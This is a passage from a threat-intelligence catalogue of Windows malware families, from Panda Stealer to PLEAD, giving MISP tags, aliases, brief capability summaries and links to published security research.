https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/
https://www.youtube.com/watch?v=J7VOfAJvxEY
https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html

Panda Stealer

The tag is: *misp-galaxy:malpedia="Panda Stealer"*

Panda Stealer is also known as:

Table 2781. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.trendmicro.com/en_us/research/21/e/new-panda-stealer-targets-cryptocurrency-wallets-.html

Pandora

Pandora ransomware was obtained by vx-underground at 2022-03-14.

The tag is: *misp-galaxy:malpedia="Pandora"*

Pandora is also known as:

Table 2782. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora
https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/
https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/
https://dissectingmalwa.re/blog/pandora/

Pandora RAT

The tag is: *misp-galaxy:malpedia="Pandora RAT"*

Pandora RAT is also known as:

- Pandora hVNC RAT

Table 2783. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat
https://github.com/AZMagic/Pandora-Hvnc-Hidden-Browser-Real-Vnc-Working-Chromium-Edge-Opera-Gx
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware

Paradies Clipper

The tag is: *misp-galaxy:malpedia="Paradies Clipper"*

Paradies Clipper is also known as:

Table 2784. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper
https://www.youtube.com/watch?v=wjoH9jW2EPQ

Paradise

Ransomware.

The tag is: *misp-galaxy:malpedia="Paradise"*

Paradise is also known as:

Table 2785. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paradise
https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.lastline.com/labsblog/iqy-files-and-paradise-ransomware/
https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again
https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool
https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/

Parallax RAT

Parallax is a Remote Access Trojan used by attackers to gain access to a victim's machine. It was involved in one of the many infamous "coronamalware" campaigns. Basically, the attackers abused the COVID-19 pandemic news to lure victims into opening themed emails spreading parallax.

The tag is: *misp-galaxy:malpedia="Parallax RAT"*

Parallax RAT is also known as:

- ParallaxRAT

Table 2786. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax
https://blog.morphisec.com/parallax-rat-active-status
https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html
https://twitter.com/malwrhunterteam/status/1227196799997431809
https://threatpost.com/ta2541-apt-rats-aviation/178422/
https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html
https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/
https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/

parasite_http

The tag is: *misp-galaxy:malpedia="parasite_http"*

parasite_http is also known as:

Table 2787. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks

PartyTicket

PartyTicket is a Go-written ransomware, which was described as a poorly designed one by Zscaler. According to Brett Stone-Gross this malware is likely intended to be a diversion from the Hermetic wiper (aka. KillDisk.NCV, DriveSlayer) attack.

The tag is: *misp-galaxy:malpedia="PartyTicket"*

PartyTicket is also known as:

- Elections GoRansom
- HermeticRansom
- SonicVote

Table 2788. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket
https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine
https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/
https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/
https://www.mandiant.com/resources/information-operations-surrounding-ukraine
https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf
https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/
https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/
https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine
https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware
https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/
https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html
https://www.brighttalk.com/webcast/15591/534324

Passlock

Ransomware.

The tag is: *misp-galaxy:malpedia="Passlock"*

Passlock is also known as:

Table 2789. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.passlock
https://id-ransomware.blogspot.com

Pay2Key

The tag is: *misp-galaxy:malpedia="Pay2Key"*

Pay2Key is also known as:

- Cobalt

Table 2790. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/TrendMicroRSRCH/status/1389422784808378370
https://research.checkpoint.com/2020/ransomware-alert-pay2key/
https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf

PayloadBIN

The tag is: *misp-galaxy:malpedia="PayloadBIN"*

PayloadBIN is also known as:

Table 2791. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/

PcShare

PcShare is a open-source backdoor which has been seen modified and used by Chinese threat actors, mainly attacking countries in South East Asia.

The tag is: *misp-galaxy:malpedia="PcShare"*

PcShare is also known as:

Table 2792. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare
https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf

PEBBLEDASH

The tag is: *misp-galaxy:malpedia="PEBBLEDASH"*

PEBBLEDASH is also known as:

Table 2793. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash
https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf
https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf
https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
https://www.us-cert.gov/ncas/analysis-reports/ar20-133c
https://asec.ahnlab.com/en/30022/
https://blog.reversinglabs.com/blog/hidden-cobra
https://asec.ahnlab.com/en/30532/

PeddleCheap

PeddleCheap is a module of the DanderSpritz framework which surface with the "Lost in Translation" release of TheShadowBrokers leaks. In May 2020, ESET mentioned that they found mysterious samples of PeddleCheap packed with a custom packer so far exclusively attributed to Winnti.

The tag is: *misp-galaxy:malpedia="PeddleCheap"*

PeddleCheap is also known as:

Table 2794. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.peddlecheap
https://obscuritylabs.com/blog/2017/11/13/match-made-in-the-shadows-part-3/
https://twitter.com/ESETresearch/status/1258353960781598721
https://www.forcepoint.com/fr/blog/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2#
https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/

Pekraut

The tag is: *misp-galaxy:malpedia="Pekraut"*

Pekraut is also known as:

Table 2795. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pekraut
https://www.gdatasoftware.com/blog/2020/04/35849-pekraut-german-rat-starts-gnawing

Penco

The tag is: *misp-galaxy:malpedia="Penco"*

Penco is also known as:

Table 2796. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.penco

PennyWise Stealer

The tag is: *misp-galaxy:malpedia="PennyWise Stealer"*

PennyWise Stealer is also known as:

Table 2797. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pennywise
https://blog.cyble.com/2022/06/30/infostealer/

Peppy RAT

Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.

The tag is: *misp-galaxy:malpedia="Peppy RAT"*

Peppy RAT is also known as:

Table 2798. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.peppy_rat
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

PetrWrap

The tag is: *misp-galaxy:malpedia="PetrWrap"*

PetrWrap is also known as:

Table 2799. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/

Petya

The tag is: *misp-galaxy:malpedia="Petya"*

Petya is also known as:

Table 2800. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petya
https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/
https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/
https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/
https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/
https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html

pgift

Information gathering and downloading tool used to deliver second stage malware to the infected system

The tag is: *misp-galaxy:malpedia="pgift"*

pgift is also known as:

- ReRol

Table 2801. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift

PhanDoor

The tag is: *misp-galaxy:malpedia="PhanDoor"*

PhanDoor is also known as:

Table 2802. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf]

Philadephia Ransom

The tag is: *misp-galaxy:malpedia="Philadephia Ransom"*

Philadephia Ransom is also known as:

Table 2803. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom
https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505

https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/
https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/

Phobos

Ransomware.

The tag is: *misp-galaxy:malpedia="Phobos"*

Phobos is also known as:

Table 2804. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/
https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware
https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware
https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://blogs.blackberry.com/en/2021/11/zebra2104
https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/
https://securelist.com/cis-ransomware/104452/

Phoenix Keylogger

Keylogger, information stealer.

The tag is: *misp-galaxy:malpedia="Phoenix Keylogger"*

Phoenix Keylogger is also known as:

Table 2805. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_keylogger
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger
https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass
https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/

Phoenix Locker

The tag is: *misp-galaxy:malpedia="Phoenix Locker"*

Phoenix Locker is also known as:

Table 2806. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp

PHOREAL

```
Phoreal is a very simple backdoor that is capable of creating a reverse shell,
performing simple file I/O and top-level window enumeration. It communicates to a list
of four preconfigured C2 servers via ICMP on port 53
```

The tag is: *misp-galaxy:malpedia="PHOREAL"*

PHOREAL is also known as:

- Rizzo

Table 2807. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf
https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/
https://www.secureworks.com/research/threat-profiles/tin-woodlawn

Phorpiex

Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: *misp-galaxy:malpedia="Phorpiex"*

Phorpiex is also known as:

- Trik

Table 2808. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://research.checkpoint.com/2019/phorpiex-breakdown/

https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/
https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/
https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/
https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/
https://www.johannesbader.ch/2016/02/phorpiex/
https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/
https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://twitter.com/*CPResearch*/status/1447852018794643457[https://twitter.com/*CPResearch*/status/1447852018794643457]
https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/
https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/

PhotoLoader

A loader used to deliver IcedID, fetching a fake image from which payloads are extracted.

The tag is: *misp-galaxy:malpedia="PhotoLoader"*

PhotoLoader is also known as:

Table 2809. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader
https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/
https://twitter.com/felixw3000/status/1521816045769662468
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.silentpush.com/blog/icedid-command-and-control-infrastructure
https://isc.sans.edu/diary/28636

https://www.silentpush.com/blog/malicious-infrastructure-as-a-service
https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/
https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html
https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes

PICKPOCKET

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed solely utilized by APT34.

The tag is: *misp-galaxy:malpedia="PICKPOCKET"*

PICKPOCKET is also known as:

Table 2810. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

Pierogi

The tag is: *misp-galaxy:malpedia="Pierogi"*

Pierogi is also known as:

Table 2811. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pierogi
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-2-the-discovery-of-the-new-mysterious-pierogi-backdoor

PILLOWMINT

According to FireEye, PILLOWMINT is a Point-of-Sale malware tool used to scrape track 1 and track 2 payment card data from memory. Scraped payment card data is encrypted and stored in the registry and as plaintext in a file (T1074: Data Staged) Contains additional backdoor capabilities including: Running processes Downloading and executing files (T1105: Remote File Copy) Downloading and injecting DLLs (T1055: Process Injection) Communicates with a command and control (C2) server over HTTP using AES encrypted messages (T1071: Standard Application Layer Protocol) (T1032: Standard Cryptographic Protocol)

The tag is: *misp-galaxy:malpedia="PILLOWMINT"*

PILLOWMINT is also known as:

Table 2812. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/

PingBack

The tag is: *misp-galaxy:malpedia="PingBack"*

PingBack is also known as:

Table 2813. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pingback
https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/

pipcreat

The tag is: *misp-galaxy:malpedia="pipcreat"*

pipcreat is also known as:

Table 2814. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat

https://www.snort.org/rule_docs/1-26941

PipeMon

The tag is: *misp-galaxy:malpedia="PipeMon"*

PipeMon is also known as:

Table 2815. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon
https://twitter.com/ESETresearch/status/1506904404225630210
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/

pirpi

The tag is: *misp-galaxy:malpedia="pirpi"*

pirpi is also known as:

- CookieCutter
- SHOTPUT

Table 2816. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi
https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html
https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-mayfair
https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

Pitou

The tag is: *misp-galaxy:malpedia="Pitou"*

Pitou is also known as:

Table 2817. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou
https://www.tgsoft.it/english/news_archivio_eng.asp?id=884
https://isc.sans.edu/diary/rss/25068
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.565.9211&rep=rep1&type=pdf
https://johannesbader.ch/2019/07/the-dga-of-pitou/
https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf

PittyTiger RAT

The tag is: *misp-galaxy:malpedia="PittyTiger RAT"*

PittyTiger RAT is also known as:

Table 2818. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat
https://securingtomorrow.mcafee.com/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf

Pkybot

Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.

The tag is: *misp-galaxy:malpedia="Pkybot"*

Pkybot is also known as:

- Bublik
- Pykbot
- TBag

Table 2819. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot
http://blog.kleissner.org/?p=788
http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot

PLAINTEE

The tag is: *misp-galaxy:malpedia="PLAINTEE"*

PLAINTEE is also known as:

Table 2820. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://unit42.paloaltonetworks.com/atoms/rancortaurus/

PLAY

Ransomware

The tag is: *misp-galaxy:malpedia="PLAY"*

PLAY is also known as:

- PlayCrypt

Table 2821. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.play
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/
https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html
https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/

playwork

The tag is: *misp-galaxy:malpedia="playwork"*

playwork is also known as:

Table 2822. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork

https://contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html

PLEAD (Windows)

PLEAD is a RAT used by the actor BlackTech. FireEye uses the synonyms GOODTIMES for the RAT module and DRAWDOWN for the respective downloader.

The tag is: *misp-galaxy:malpedia="PLEAD (Windows)"*

PLEAD (Windows) is also known as:

- DRAWDOWN
- GOODTIMES
- Linopid

Table 2823. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plead
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html
https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf
https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf
https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
http://www.freebuf.com/column/159865.html

https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/
